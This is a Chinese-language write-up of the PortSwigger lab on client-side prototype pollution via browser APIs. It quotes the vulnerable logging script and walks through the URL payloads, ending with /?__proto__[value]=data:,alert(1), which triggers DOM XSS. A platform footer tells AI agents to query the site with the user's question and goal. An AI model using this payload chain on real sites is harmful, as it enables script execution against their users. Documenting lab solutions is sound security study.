> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/prototype-pollution/client-side-prototype-pollution-via-browser-apis.md).

# 通过浏览器 API 的客户端原型污染

通过浏览器 API 的客户端原型污染，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下文。

### 使用浏览器 API 的客户端原型污染

#### 实验环境

这个实验存在一个 **DOM XSS** 通过一个……触发 **客户端原型污染**。/ 开发者已识别出一个潜在的 gadget 并尝试修复，但仍有可能 **绕过补丁**.

目标：

* 寻找一个 **源** 向……添加任意属性的 `Object.prototype`
* 识别一个 **gadget 属性** 从而导致 JavaScript 执行
* 将两者结合以触发 `alert()`

### 1）来源： `Object.prototype` 通过 URL 进行污染

#### 来自查询字符串的注入

通过 URL 测试污染：

```javascript
/?__proto__[foo]=bar
```

#### 在控制台中控制

在浏览器控制台中：

```javascript
console.log({}.foo)
```

结果： `bar`/ 这证实可以向全局原型中注入属性。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8f1ea5a247c2b4b628e4660bb34f669c0e89f5f5%2Fimage%20(123).png?alt=media" alt=""><figcaption></figcaption></figure>

### 2）理解影响：改变对象的行为

通过对象修改原型的示例：

```javascript
const jordan = {
}

jordan.__proto__.country = "Andorra"
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-084e043c9f4a42f27c069e929b3cfb7e63da9a14%2Fimage%20(124).png?alt=media" alt=""><figcaption></figcaption></figure>

然后：

```bash
console.log({}.country)
```

现在所有对象都继承 `country`，这显示了污染的整体影响。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-490bd5b212a5399317f4612f5326e20776bdf251%2Fimage%20(125).png?alt=media" alt=""><figcaption></figcaption></figure>

### 3）gadget：通过继承属性动态加载脚本

有趣的文件是：

`/resources/js/searchLoggerConfigurable.js`

```javascript
async function logQuery(url, params) {
    try {
        await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
    } catch(e) {
        console.error("保存查询失败");
    }
}

async function searchLogger() {
    let config = {params: deparam(new URL(location).searchParams.toString()), transport_url: false};
    Object.defineProperty(config, 'transport_url', {configurable: false, writable: false});
    if(config.transport_url) {
        let script = document.createElement('script');
        script.src = config.transport_url;
        document.body.appendChild(script);
    }
    if(config.params && config.params.search) {
        await logQuery('/logger', config.params);
    }
}

window.addEventListener("load", searchLogger);
```

#### 关键脚本行为（摘要）

* 它构建一个对象 `config` 包含：
* `params` （来自 URL）
* `transport_url` 初始化为 `false`
* 它锁定 `config.transport_url` 替换为 `Object.defineProperty(... configurable:false, writable:false)`
* 然后：
* 如果 `config.transport_url` 为真 → 它会创建一个 `<script>` 并使 `script.src = config.transport_url`

#### 为什么尽管有补丁它仍然可行？

与 `transport_url` \*\*并没有真正以可用值定义\*\*，代码可以去 **从原型中寻找继承的值** （被污染的）。

因此如果我们向 `Object.prototype`注入正确的属性，它就会被用作脚本的来源。

### 4）利用：强制 `script.src` 通过原型

#### 步骤 1：证明该 gadget

通过注入：

```bash
/?__proto__[value]=bar
```

浏览器创建：

```javascript
<script src="bar"></script>
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f29ec24269b0c4b963f5575548cfa1dd4219ff9f%2Fimage%20(126).png?alt=media" alt=""><figcaption></figcaption></figure>

`src` 是可控的。

#### 步骤 2：通过一个 `data:` URL

最终有效载荷：

```javascript
/?__proto__[value]=data:,alert(1)
```

观察到的结果：

```javascript
<script src="data:,alert(1)"><div></div></script>
```

浏览器解释 `data:,alert(1)` 并执行 `alert(1)`: **DOM XSS 成功**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-06f05edd9896d58fef4bd97393a811251793f15a%2Fimage%20(127).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/prototype-pollution/client-side-prototype-pollution-via-browser-apis.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
